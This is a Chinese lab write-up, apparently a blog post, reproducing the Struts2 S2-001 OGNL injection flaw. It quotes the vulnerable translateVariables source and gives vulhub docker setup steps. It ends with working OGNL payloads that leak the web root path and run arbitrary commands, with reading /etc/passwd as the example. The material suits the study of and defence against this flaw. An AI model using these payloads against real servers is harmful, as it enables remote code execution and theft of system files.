S2-001漏洞靶场复现

1、漏洞描述

Struts2是一个基于MVC设计模式Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

WebWork 2.1+ 和 Struts 2 的 'altSyntax' 特性允许将 OGNL 表达式插入文本字符串并进行递归处理,这允许恶意用户提交一个字符串。如果用户提交表单验证失败,且提交的参数中包含一个 OGNL 表达式,服务器将执行该表达式。

2、影响版本

WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

3、漏洞简单分析

  • 问题主要是出在translateVariables函数中,源码如下:

public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }


                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }
  • 此时expression%{password}

  • 经过while循环,此时varpassword

  • stack.findValue(var, asType);会返回password的值%{1+1},这个就是我们传入的payload:

  • 此后o%{1+1},再对o进行了一番处理后,payload经过result变量,最终成为expression的值:

  • 在完成后,进入下一个循环:

  • 并且在Object o = stack.findValue(var, asType);中完成了对payload的执行:

  • 总结:究其原因,在于在translateVariables函数中,递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1},则得以解析执行。

4、漏洞复现

4.1 环境搭建

使用vulnhub进行搭建https://github.com/vulhub/vulhub

cd vulhub-master/struts2/s2-001

docker-compose build

docker-compose up -d

4.2 最简单POC语句尝试,输入%{1+1},语句成功执行

4.3 尝试获取Web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

4.4 执行任意命令,只需修改命令加参数,例如new java.lang.String[]{"cat","/etc/passwd"}

%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

参考链接:

https://xz.aliyun.com/t/2044

https://xz.aliyun.com/t/2672#toc-2

https://www.freebuf.com/articles/web/280245.html

https://cwiki.apache.org/confluence/display/WW/S2-001

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值